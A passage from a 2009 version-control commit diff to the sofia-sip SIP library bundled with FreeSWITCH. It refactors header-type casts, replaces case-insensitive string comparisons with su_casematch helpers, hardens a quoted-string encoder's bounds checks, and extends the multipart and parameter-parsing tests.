 issize_t msg_separator_d(su_home_t *home, msg_header_t *h, char *s, isize_t slen)
 {
   int len = CRLF_TEST(s);
+  msg_separator_t *sep = (msg_separator_t *)h;
 
   if (len == 0 && slen > 0)
     return -1;
 
-  memcpy(h->sh_separator->sep_data, s, len);
-  h->sh_separator->sep_data[len] = '\0';
+  memcpy(sep->sep_data, s, len);
+  sep->sep_data[len] = '\0';
 
   return 0;
 }
@@ -335,19 +342,20 @@
 /** Encode a separator line. */
 issize_t msg_separator_e(char b[], isize_t bsiz, msg_header_t const *h, int flags)
 {
-  size_t n = strlen(h->sh_separator->sep_data);
+  msg_separator_t const *sep = (msg_separator_t const *)h;
+  size_t n = strlen(sep->sep_data);
 
   if (bsiz > n)
-    strcpy(b, h->sh_separator->sep_data);
+    strcpy(b, sep->sep_data);
 
   return (issize_t)n;
 }
 
 msg_separator_t *msg_separator_create(su_home_t *home)
 {
-  msg_separator_t *sep =
-    msg_header_alloc(home, msg_separator_class, 0)->sh_separator;
+  msg_separator_t *sep;
 
+  sep = (msg_separator_t *)msg_header_alloc(home, msg_separator_class, 0);
   if (sep)
     strcpy(sep->sep_data, CRLF);
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_date.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_date.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_date.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,6 +42,7 @@
 #include <string.h>
 #include <assert.h>
 
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/msg_date.h>
 #include <sofia-sip/bnf.h>
 
@@ -238,7 +239,7 @@
     if (time_d(&s, &hour, &min, &sec) < 0) return -1;
     if (*s) {
       tz = s; skip_token(&s); skip_lws(&s);
-      if (strncasecmp(tz, "GMT", 3) && strncasecmp(tz, "UCT", 3))
+      if (!su_casenmatch(tz, "GMT", 3) && !su_casenmatch(tz, "UCT", 3))
 	return -1;
     }
   }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_generic.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_generic.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_generic.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -68,7 +68,8 @@
 		       char *s,
 		       isize_t slen)
 {
-  h->sh_generic->g_string = s;
+  msg_generic_t *g = (msg_generic_t *)h;
+  g->g_string = s;
   return 0;
 }
 
@@ -80,7 +81,7 @@
  */
 issize_t msg_generic_e(char b[], isize_t bsiz, msg_header_t const *h, int flags)
 {
-  msg_generic_t const *g = h->sh_generic;
+  msg_generic_t const *g = (msg_generic_t const *)h;
   size_t n = strlen(g->g_string);
 
   if (bsiz > n)
@@ -92,7 +93,7 @@
 /** Calculate the size of strings associated with a @c msg_generic_t object. */
 isize_t msg_generic_dup_xtra(msg_header_t const *h, isize_t offset)
 {
-  msg_generic_t const *g = h->sh_generic;
+  msg_generic_t const *g = (msg_generic_t const *)h;
   return offset + MSG_STRING_SIZE(g->g_string);
 }
 
@@ -102,8 +103,10 @@
 			  char *b,
 			  isize_t xtra)
 {
+  msg_generic_t *g = (msg_generic_t *)dst;
+  msg_generic_t const *o = (msg_generic_t const *)src;
   char *end = b + xtra;
-  MSG_STRING_DUP(b, dst->sh_generic->g_string, src->sh_generic->g_string);
+  MSG_STRING_DUP(b, g->g_string, o->g_string);
   assert(b <= end); (void)end;
   return b;
 }
@@ -117,7 +120,7 @@
   uint32_t value = 0;
   issize_t retval = msg_uint32_d(&s, &value);
 
-  assert(x->x_common->h_class->hc_size >= sizeof *x);
+  assert(h->sh_class->hc_size >= sizeof *x);
 
   x->x_value = value;
 
@@ -150,15 +153,17 @@
 
 issize_t msg_list_d(su_home_t *home, msg_header_t *h, char *s, isize_t slen)
 {
-  return msg_commalist_d(home, &s, &h->sh_list->k_items, NULL);
+  msg_list_t *k = (msg_list_t *)h;
+  return msg_commalist_d(home, &s, &k->k_items, NULL);
 }
 
 issize_t msg_list_e(char b[], isize_t bsiz, msg_header_t const *h, int flags)
 {
+  msg_list_t *k = (msg_list_t *)h;
   int compact = MSG_IS_COMPACT(flags);
   char *b0 = b, *end = b + bsiz;
 
-  MSG_COMMALIST_E(b, end, h->sh_list->k_items, compact);
+  MSG_COMMALIST_E(b, end, k->k_items, compact);
   MSG_TERM_E(b, end);
 
   return b - b0;
@@ -176,7 +181,8 @@
  */
 isize_t msg_list_dup_xtra(msg_header_t const *h, isize_t offset)
 {
-  MSG_PARAMS_SIZE(offset, h->sh_list->k_items);
+  msg_list_t const *k = (msg_list_t const *)h;
+  MSG_PARAMS_SIZE(offset, k->k_items);
   return offset;
 }
 
@@ -185,10 +191,12 @@
 		       char *b,
 		       isize_t xtra)
 {
+  msg_list_t *k = (msg_list_t *)dst;
+  msg_list_t const *o = (msg_list_t const *)src;
   char *end = b + xtra;
-  msg_param_t const ** items = (msg_param_t const **)&dst->sh_list->k_items;
+  msg_param_t const ** items = (msg_param_t const **)&k->k_items;
 
-  b = msg_params_dup(items, src->sh_list->k_items, b, xtra);
+  b = msg_params_dup(items, o->k_items, b, xtra);
 
   assert(b <= end); (void)end;
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_header_copy.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_header_copy.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_header_copy.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -346,10 +346,10 @@
 			  char *b,
 			  isize_t xtra)
 {
-  memcpy(&h->sh_header_next[1],
-	 &src->sh_header_next[1],
-	 h->sh_class->hc_size - offsetof(msg_header_t, sh_header_next[1]));
+  size_t skip = offsetof(msg_numeric_t, x_value);  /* Skip common part */
 
+  memcpy((char *)h + skip, (char const *)src + skip, h->sh_class->hc_size - skip);
+
   return b;
 }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_mclass.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_mclass.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_mclass.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -47,6 +47,7 @@
 
 #include <sofia-sip/su.h>
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 
 #include "msg_internal.h"
 #include "sofia-sip/msg_parser.h"
@@ -163,25 +164,7 @@
 			     msg_hclass_t *hc,
 			     unsigned short offset)
 {
-  msg_href_t hr[1];
-
-  if (mc == NULL || hc == NULL) {
-    errno = EINVAL;
-    return -1;
-  }
-
-  if (msg_hclass_offset(mc, NULL, hc))
-    return (void)(errno = EEXIST), -1;
-
-  if (offset == 0)
-    offset = mc->mc_msize, mc->mc_msize += sizeof(msg_header_t *);
-
-  assert(offset < mc->mc_msize);
-
-  hr->hr_class = hc;
-  hr->hr_offset = offset;
-
-  return msg_mclass_insert(mc, hr);
+  return msg_mclass_insert_with_mask(mc, hc, offset, 0);
 }
 
 /**Add a new header to the message class.
@@ -351,7 +334,7 @@
 
     /* long form */
     for (hr = NULL; (hc = mc->mc_hash[i].hr_class); i = (i + 1) % N) {
-      if (m == hc->hc_len && strncasecmp(s, hc->hc_name, m) == 0) {
+      if (m == hc->hc_len && su_casenmatch(s, hc->hc_name, m)) {
 	hr = &mc->mc_hash[i];
 	break;
       }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_mime.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_mime.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_mime.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -38,14 +38,8 @@
 
 #define _GNU_SOURCE 1
 
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <limits.h>
-#include <errno.h>
-#include <assert.h>
-
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 
 #include "msg_internal.h"
 #include "sofia-sip/msg.h"
@@ -54,16 +48,18 @@
 #include <sofia-sip/su_uniqueid.h>
 #include <sofia-sip/su_errno.h>
 
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <assert.h>
+
 #if !HAVE_MEMMEM
 void *memmem(const void *haystack, size_t haystacklen,
 	     const void *needle, size_t needlelen);
 #endif
 
-size_t memspn(const void *mem, size_t memlen,
-	      const void *accept, size_t acceptlen);
-size_t memcspn(const void *mem, size_t memlen,
-	       const void *reject, size_t rejectlen);
-
 /** Protocol version of MIME */
 char const msg_mime_version_1_0[] = "MIME/1.0";
 
@@ -154,7 +150,7 @@
  * argument to msg_multipart_parse() function:
  * @code
  *    if (sip->sip_content_type &&
- *        strncasecmp(sip->sip_content_type, "multipart/", 10) == 0) {
+ *        su_casenmatch(sip->sip_content_type, "multipart/", 10)) {
  *      msg_multipart_t *mp;
  *
  *      if (sip->sip_multipart)
@@ -316,7 +312,7 @@
   /* Boundary looks like LF -- string SP* [CR] LF */
   if (memcmp("--", p, 2) == 0) {
     /* We can be at boundary beginning, there is no CR LF */
-    m = 2 + memspn(p + 2, len - 2, bchars, bchars_len);
+    m = 2 + su_memspn(p + 2, len - 2, bchars, bchars_len);
     if (m + 2 >= len)
       return NULL;
     crlf = p[m] == '\r' ? 1 + (p[m + 1] == '\n') : (p[m] == '\n');
@@ -336,7 +332,7 @@
   /* Look for LF -- */
   for (;(p = memmem(p, end - p, LF "--", 3)); p += 3) {
     len = end - p;
-    m = 3 + memspn(p + 3, len - 3, bchars, bchars_len);
+    m = 3 + su_memspn(p + 3, len - 3, bchars, bchars_len);
     if (m + 2 >= len)
       return NULL;
     crlf = p[m] == '\r' ? 1 + (p[m + 1] == '\n') : (p[m] == '\n');
@@ -517,7 +513,7 @@
 
   for (mp = all; mp; mp = mp->mp_next) {
     mp->mp_data = boundary;
-    mp->mp_len = blen;
+    mp->mp_len = (unsigned)blen; /* XXX */
 
     assert(mp->mp_payload || mp->mp_separator);
 
@@ -617,7 +613,8 @@
 
   for (; mp; mp = mp->mp_next) {
     if (mp->mp_data == NULL) {
-      mp->mp_data = boundary, mp->mp_len = blen;
+      mp->mp_data = boundary;
+      mp->mp_len = (unsigned)blen; /* XXX */
     } else {
       if (mp->mp_len < 3)
 	return -1;
@@ -987,9 +984,11 @@
   /* Media type consists of two tokens, separated by / */
 
   l1 = span_token(s);
-  for (n = l1; IS_LWS(s[n]); n++);
+  for (n = l1; IS_LWS(s[n]); n++)
+    {}
   if (s[n] == '/') {
-    for (n++; IS_LWS(s[n]); n++);
+    for (n++; IS_LWS(s[n]); n++)
+      {}
     l2 = span_token(s + n);
     n += l2;
   }
@@ -1146,7 +1145,7 @@
   if (name == NULL) {
     ac->ac_q = NULL;
   }
-  else if (namelen == 1 && strncasecmp(name, "q", 1) == 0) {
+  else if (namelen == 1 && su_casenmatch(name, "q", 1)) {
     /* XXX - check for invalid value? */
     ac->ac_q = value;
   }
@@ -1233,7 +1232,7 @@
   if (name == NULL) {
     aa->aa_q = NULL;
   }
-  else if (namelen == 1 && strncasecmp(name, "q", 1) == 0) {
+  else if (namelen == 1 && su_casenmatch(name, "q", 1)) {
     aa->aa_q = value;
   }
 
@@ -1523,10 +1522,10 @@
     cd->cd_handling = NULL, cd->cd_required = 0, cd->cd_optional = 0;
   }
   else if (namelen == strlen("handling") &&
-	   strncasecmp(name, "handling", namelen) == 0) {
+	   su_casenmatch(name, "handling", namelen)) {
     cd->cd_handling = value;
-    cd->cd_required = strcasecmp(value, "required") == 0;
-    cd->cd_optional = strcasecmp(value, "optional") == 0;
+    cd->cd_required = su_casematch(value, "required");
+    cd->cd_optional = su_casematch(value, "optional");
   }
 
   return 0;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_parser.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_parser.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_parser.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -872,7 +872,7 @@
   }
 
   if (mo->msg_flags & MSG_FLG_TRAILERS)
-    msg_set_streaming(msg, 0);
+    msg_set_streaming(msg, (enum msg_streaming_status)0);
 
   if (msg->m_buffer->mb_used + msg->m_buffer->mb_commit ==
       msg->m_buffer->mb_size)
@@ -1003,7 +1003,7 @@
 
 /** Extract a header. */
 issize_t msg_extract_header(msg_t *msg, msg_pub_t *mo,
-			   char b[], isize_t bsiz, int eos)
+			    char b[], isize_t bsiz, int eos)
 {
   return extract_header(msg, mo, b, bsiz, eos, 0);
 }
@@ -1143,6 +1143,7 @@
       /* XXX - This should be done by msg_header_free_all() */
       msg_header_t *h_next;
       msg_param_t *h_params;
+      msg_error_t *er;
 
       while (h) {
 	h_next = h->sh_next;
@@ -1157,10 +1158,12 @@
       /* XXX - This should be done by msg_header_free_all() */
       hr = msg->m_class->mc_error;
       h = msg_header_alloc(home, hr->hr_class, 0);
-      if (!h)
-	return h;
+      er = (msg_error_t *)h;
 
-      h->sh_error->er_name = hc->hc_name;
+      if (!er)
+	return NULL;
+
+      er->er_name = hc->hc_name;
       hh = (msg_header_t **)((char *)mo + hr->hr_offset);
     }
   }
@@ -2736,6 +2739,8 @@
  *
  * Parse result from printf-formatted params as a given header field and add
  * result to the message.
+ *
+ * @NEW_1_12_10
  */
 int msg_header_add_format(msg_t *msg,
 			  msg_pub_t *pub,

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_parser_util.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_parser_util.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/msg_parser_util.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -47,6 +47,7 @@
 
 #include <sofia-sip/su.h>
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 
 #include "msg_internal.h"
 #include "sofia-sip/msg_parser.h"
@@ -414,12 +415,14 @@
 
     if (n == N) {
       /* Reallocate params */
-      char **nparams = su_alloc(home,
-				(N = MSG_PARAMS_NUM(N + 1)) * sizeof(*params));
+      char const **nparams = su_realloc(home, (void*)(params != stack ? params : NULL),
+					(N = MSG_PARAMS_NUM(N + 1)) * sizeof(*params));
       if (!nparams) {
 	goto error;
       }
-      params = memcpy(nparams, params, n * sizeof(*params));
+      if (params == stack)
+	memcpy(nparams, stack, n * sizeof(*params));
+      params = nparams;
     }
 
     params[n++] = p;
@@ -440,12 +443,14 @@
   }
   else if (n == N) {
     /* Reallocate params */
-    char **nparams = su_alloc(home,
-			      (N = MSG_PARAMS_NUM(N + 1)) * sizeof(*params));
+    char const **nparams = su_realloc(home, (void*)(params != stack ? params : NULL),
+				      (N = MSG_PARAMS_NUM(N + 1)) * sizeof(*params));
     if (!nparams) {
       goto error;
     }
-    params = memcpy(nparams, params, n * sizeof(*params));
+    if (params == stack)
+      memcpy(nparams, stack, n * sizeof(*params));
+    params = nparams;
   }
 
   params[n] = NULL;
@@ -871,7 +876,7 @@
 	}
       }
       else {
-	if (strncasecmp(maybe, param, plen) == 0 &&
+	if (su_casenmatch(maybe, param, plen) &&
 	    (maybe[plen] == '=' || maybe[plen] == 0))
 	  break;
       }
@@ -1212,7 +1217,7 @@
 
     for (i = 0; params[i]; i++) {
       msg_param_t param = params[i];
-      if (strncasecmp(param, token, n) == 0) {
+      if (su_casenmatch(param, token, n)) {
 	if (param[n] == '=')
 	  return param + n + 1;
         else if (param[n] == 0)
@@ -1246,7 +1251,7 @@
 
     for (i = 0; params[i]; i++) {
       msg_param_t param = params[i];
-      if (strncasecmp(param, token, n) == 0) {
+      if (su_casenmatch(param, token, n)) {
 	if (param[n] == '=')
 	  return params + i;
         else if (param[n] == 0 || token[n - 1] == '=')
@@ -1295,7 +1300,7 @@
     for (i = 0; params[i]; i++) {
       msg_param_t maybe = params[i];
 
-      if (!(strncasecmp(maybe, param, n))) {
+      if (su_casenmatch(maybe, param, n)) {
 	if (maybe[n] == '=' || maybe[n] == 0) {
 	  params[i] = param;
 	  return 1;
@@ -1327,7 +1332,7 @@
   for (i = 0; params[i]; i++) {
     msg_param_t maybe = params[i];
 
-    if (strncasecmp(maybe, param, n) == 0) {
+    if (su_casenmatch(maybe, param, n)) {
       if (maybe[n] == '=' || maybe[n] == 0) {
 	/* Remove */
 	do {
@@ -1415,10 +1420,10 @@
 
   for (i = 0; d[i]; i++) {
     if ((prune == 1 &&
-	 strncasecmp(p, d[i], nlen) == 0
+	 su_casenmatch(p, d[i], nlen)
 	 && (d[i][nlen] == '=' || d[i][nlen] == '\0'))
 	||
-	(prune == 2 && strcasecmp(p, d[i]) == 0)
+	(prune == 2 && su_casematch(p, d[i]))
 	||
 	(prune == 3 && strcmp(p, d[i]) == 0))
       return 1;
@@ -1548,7 +1553,8 @@
   if (s == NULL)
     return 0;
 
-  for (M = 0; s[M]; M++);
+  for (M = 0; s[M]; M++)
+    {}
 
   if (M == 0)
     return 0;
@@ -1565,7 +1571,8 @@
   dd = (msg_param_t **)((char *)dst + dst->h_class->hc_params);
   d = *dd;
 
-  for (N = 0; d && d[N]; N++);
+  for (N = 0; d && d[N]; N++)
+    {}
 
   for (m = 0, M = 0, total = 0; s[m]; m++) {
     t = s[m];
@@ -1649,7 +1656,7 @@
     if (*a == NULL || *b == NULL)
       return (*a != NULL) - (*b != NULL);
     nlen = strcspn(*a, "=");
-    if ((c = strncasecmp(*a, *b, nlen)))
+    if ((c = su_strncasecmp(*a, *b, nlen)))
       return c;
     if ((c = strcmp(*a + nlen, *b + nlen)))
       return c;
@@ -1736,35 +1743,37 @@
 /** Quote string */
 issize_t msg_unquoted_e(char *b, isize_t bsiz, char const *s)
 {
-  char *begin = b;
-  char *end = b + bsiz;
+  isize_t e = 0;
 
-  if (b && b + 1 < end)
+  if (b == NULL)
+    bsiz = 0;
+
+  if (0 < bsiz)
     *b = '"';
-  b++;
+  e++;
 
   for (;*s;) {
     size_t n = strcspn(s, "\"\\");
 
     if (n == 0) {
-      if (b && b + 2 < end)
-	b[0] = '\\', b[1] = s[0];
-      b += 2;
+      if (e + 2 <= bsiz)
+	b[e] = '\\', b[e + 1] = s[0];
+      e += 2;
       s++;
     }
     else {
-      if (b && b + n < end)
-	memcpy(b, s, n);
-      b += n;
+      if (e + n <= bsiz)
+	memcpy(b + e, s, n);
+      e += n;
       s += n;
     }
   }
 
-  if (b && b + 1 < end)
-    *b = '"';
-  b++;
+  if (e < bsiz)
+    b[e] = '"';
+  e++;
 
-  return b - begin;
+  return e;
 }
 
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/sofia-sip/msg_mime.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/sofia-sip/msg_mime.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/sofia-sip/msg_mime.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -163,18 +163,18 @@
   msg_multipart_t        *mp_next;      /**< Next part in multipart body */
   /* Preamble for this part */
   char                   *mp_data;	/**< Boundary string. */
-  usize_t                 mp_len;	/**< Length of boundary (mp_data).*/
+  unsigned                mp_len;	/**< Length of boundary (mp_data).*/
   unsigned                mp_flags;
   msg_error_t            *mp_error;
 
   /* === Headers start here */
-  msg_content_type_t     *mp_content_type;	/**< Content-Type */
+  msg_content_type_t     *mp_content_type;	/**< Content-Type (c) */
   msg_content_disposition_t *mp_content_disposition;
                                                 /**< Content-Disposition */
   msg_content_location_t *mp_content_location;	/**< Content-Location */
   msg_content_id_t       *mp_content_id;        /**< Content-ID */
   msg_content_language_t *mp_content_language;	/**< Content-Language */
-  msg_content_encoding_t *mp_content_encoding;	/**< Content-Encoding */
+  msg_content_encoding_t *mp_content_encoding;	/**< Content-Encoding (e) */
   msg_content_transfer_encoding_t *mp_content_transfer_encoding;
                                         /**< Content-Transfer-Encoding */
 #if 0

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/test_msg.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/test_msg.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/msg/test_msg.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -285,6 +285,24 @@
       su_free(home, (void *)p), p = NULL;
     }
 
+    master = ";0";
+
+    for (i = 1; i < 256; i++) {
+      master = su_sprintf(home, "%s; %u", master, i); TEST_1(master);
+      list = end = su_strdup(home, master);
+      TEST_1(msg_params_d(NULL, &end, &p) >= 0);
+      TEST_S(end, "");
+      TEST_1(p);
+      for (j = 0; j <= i; j++) {
+	char number[10];
+	snprintf(number, sizeof number, "%u", j);
+	TEST_S(p[j], number);
+      }
+      TEST_1(p[i + 1] == NULL);
+      su_free(home, list);
+      su_free(NULL, (void *)p), p = NULL;
+    }
+
     su_home_deinit(home);
   }
 
@@ -478,6 +496,22 @@
     su_home_deinit(home);
   }
 
+  {
+    char b[8];
+    TEST(msg_unquoted_e(NULL, 0, "\"\""), 6);
+    TEST(msg_unquoted_e(b, 0, "\"\""), 6);
+    TEST(msg_unquoted_e(b, 4, "\"\""), 6);
+    TEST(msg_unquoted_e(b, 6, "\"\""), 6);
+    TEST(memcmp(b, "\"\\\"\\\"\"", 6), 0);
+    TEST(msg_unquoted_e(b, 4, "\""), 4);
+    memset(b, 0, sizeof b);
+    TEST(msg_unquoted_e(b, 1, "\"kuik"), 8);
+    TEST(memcmp(b, "\"\0", 2), 0);
+    TEST(msg_unquoted_e(b, 3, "\"kuik"), 8);
+    TEST(memcmp(b, "\"\\\"\0", 4), 0);
+    TEST(msg_unquoted_e(b, 7, "\"kuik"), 8);
+    TEST(memcmp(b, "\"\\\"kuik\0", 8), 0);
+  }
 
   END();
 }
@@ -722,6 +756,8 @@
     TEST(msg_serialize(msg, (msg_pub_t *)tst), 0);
   }
 
+  msg_destroy(msg);
+
   /* Bug #2429 */
   orig = read_msg("GET a-life HTTP/1.1" CRLF
 		 "Foo: bar" CRLF
@@ -734,6 +770,7 @@
   TEST_1(otst);
 
   msg = msg_copy(orig);
+  msg_destroy(orig);
   tst = msg_test_public(msg);
   TEST_1(tst);
 
@@ -1193,8 +1230,15 @@
     CRLF			/* 13 */
 #define BODY3 "<html><body>part 3</body></html>" CRLF
     BODY3			/* 14 */
-    CRLF			/* 15 */
-    "--LaGqGt4BI6Ho--" CRLF;
+    CRLF "--LaGqGt4BI6Ho"	/* 15 */
+    "c: text/html" CRLF		/* 16 */
+    "l: 9" CRLF			/* 17 */
+    "e: identity" CRLF		/* 18 */
+    CRLF			/* 19 */
+#define BODY4 "<html/>" CRLF
+    BODY4			  /* 20 */
+    CRLF "--LaGqGt4BI6Ho--"	  /* 21 */
+    CRLF;
 
   BEGIN();
 
@@ -1275,6 +1319,18 @@
   TEST_SIZE(strlen(BODY3), pl->pl_len);
   TEST(memcmp(pl->pl_data, BODY3, pl->pl_len), 0);
 
+  TEST_1(mp = mp->mp_next);
+
+  TEST_1(mp->mp_data);
+  TEST_M(mp->mp_data, CRLF "--" "LaGqGt4BI6Ho" CRLF, mp->mp_len);
+
+  TEST_1(mp->mp_content_encoding);
+  TEST_1(mp->mp_content_type);
+
+  TEST_1(pl = mp->mp_payload); TEST_1(pl->pl_data);
+  TEST_SIZE(strlen(BODY4), pl->pl_len);
+  TEST(memcmp(pl->pl_data, BODY4, pl->pl_len), 0);
+
   mpX = mp;
 
   TEST_1(!(mp = mp->mp_next));
@@ -1293,7 +1349,7 @@
     h->sh_succ = NULL;
   }
 
-  TEST(n, 15);
+  TEST(n, 21);
 
   head = NULL;
   TEST_1(h = msg_multipart_serialize(&head, mp0));
@@ -1304,7 +1360,7 @@
     h_succ = h->sh_succ;
   }
 
-  TEST(n, 15);
+  TEST(n, 21);
 
   /* Add a new part to multipart */
   mpnew = su_zalloc(home, sizeof(*mpnew)); TEST_1(mpnew);
@@ -1324,7 +1380,7 @@
     TEST_1(h != removed);
   }
 
-  TEST(n, 19);
+  TEST(n, 21 + 4);
 
 #define remove(h) \
   (((*((msg_header_t*)(h))->sh_prev = ((msg_header_t*)(h))->sh_succ) ? \
@@ -1336,7 +1392,7 @@
   remove(mp0->mp_separator);
   remove(mp0->mp_next->mp_payload);
   remove(mp0->mp_next->mp_next->mp_content_type);
-  remove(mp0->mp_next->mp_next->mp_next->mp_close_delim);
+  remove(mp0->mp_next->mp_next->mp_next->mp_next->mp_close_delim);
 
   TEST_1(!msg_chain_errors((msg_header_t *)mp0));
 
@@ -1352,7 +1408,7 @@
     TEST_1(h != removed);
   }
 
-  TEST(n, 19);
+  TEST(n, 21 + 4);
 
   /* Add an recursive multipart */
   mpnew = su_zalloc(home, sizeof(*mpnew)); TEST_1(mpnew);
@@ -1371,7 +1427,7 @@
   for (h = (msg_header_t *)mp0, n = 0; h; h = h_succ, n++)
     h_succ = h->sh_succ;
 
-  TEST(n, 24);
+  TEST(n, 21 + 9);
 
   su_home_check(home);
   su_home_zap(home);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nea/nea.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nea/nea.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nea/nea.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,6 +39,7 @@
 #include <assert.h>
 
 #include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_string.h>
 
 #include <sofia-sip/sip.h>
 #include <sofia-sip/sip_header.h>
@@ -518,14 +519,14 @@
   nea->nea_notify_received = 1;
   nea->nea_callback(nea, nea->nea_context, sip);
 
-  if (strcasecmp(ss->ss_substate, "terminated") == 0) {
+  if (su_casematch(ss->ss_substate, "terminated")) {
     nta_leg_destroy(nea->nea_leg), nea->nea_leg = NULL;
     nea->nea_state = nea_terminated;
 
-    if (str0casecmp(ss->ss_reason, "deactivated") == 0) {
+    if (su_casematch(ss->ss_reason, "deactivated")) {
       nea->nea_state = nea_embryonic;
       nea->nea_deadline = sip_now();
-    } else if (str0casecmp(ss->ss_reason, "probation") == 0) {
+    } else if (su_casematch(ss->ss_reason, "probation")) {
       sip_time_t retry = sip_now() + NEA_TIMER_DELTA;
 
       if (ss->ss_retry_after)
@@ -541,9 +542,9 @@
       return 200;
     }
   }
-  else if (strcasecmp(ss->ss_substate, "pending") == 0)
+  else if (su_casematch(ss->ss_substate, "pending"))
     nea->nea_state = nea_pending;
-  else if (strcasecmp(ss->ss_substate, "active") == 0)
+  else if (su_casematch(ss->ss_substate, "active"))
     nea->nea_state = nea_active;
   else
     nea->nea_state = nea_extended;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nea/nea_server.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nea/nea_server.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nea/nea_server.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -752,7 +752,7 @@
 
     /* Check if the payload type already exists */
     for (i = 0; (evv = ev->ev_views[i]); i++)
-      if (str0casecmp(cts, evv->evv_content_type->c_type) == 0)
+      if (su_casematch(cts, evv->evv_content_type->c_type))
 	break;
 
     if (private && evv == NULL) /* No private view without primary view. */
@@ -916,7 +916,7 @@
 
   /* Check if the payload type already exists */
   for (i = 0; ev->ev_views[i]; i++)
-    if (str0casecmp(content_type, ev->ev_views[i]->evv_content_type->c_type) == 0)
+    if (su_casematch(content_type, ev->ev_views[i]->evv_content_type->c_type))
       break;
 
   for (evv = ev->ev_views[i]; evv; evv = evv->evv_next)
@@ -1222,6 +1222,9 @@
   size_t len = strlen(name);
   ta_list ta;
 
+  if (nes == NULL || callback == NULL || name == NULL)
+    return NULL;
+
   /* Find a matching event */
   if (subname == NULL) {
     for (pev = &nes->nes_events; (ev = *pev); pev = &(*pev)->ev_next) {
@@ -1805,10 +1808,10 @@
 
 	type = evv->evv_content_type->c_type;
 
-	if ((strcasecmp(ac->ac_type, type) == 0) ||
-	    (strcasecmp(ac->ac_subtype, "*") == 0 &&
-	     strncasecmp(ac->ac_type, type,
-			 ac->ac_subtype - ac->ac_type) == 0)) {
+	if ((su_casematch(ac->ac_type, type)) ||
+	    (su_casematch(ac->ac_subtype, "*") &&
+	     su_casenmatch(ac->ac_type, type,
+			 ac->ac_subtype - ac->ac_type))) {
 	  if (evv_maybe == NULL)
 	    evv_maybe = evv;
 	}
@@ -2290,7 +2293,7 @@
 
   tl_gets(ta_args(ta), NEATAG_REASON_REF(reason), TAG_END());
 
-  rejected = reason && strcasecmp(reason, "rejected") == 0;
+  rejected = su_casematch(reason, "rejected");
 
   if (state == nea_terminated && embryonic && rejected && s->s_irq)
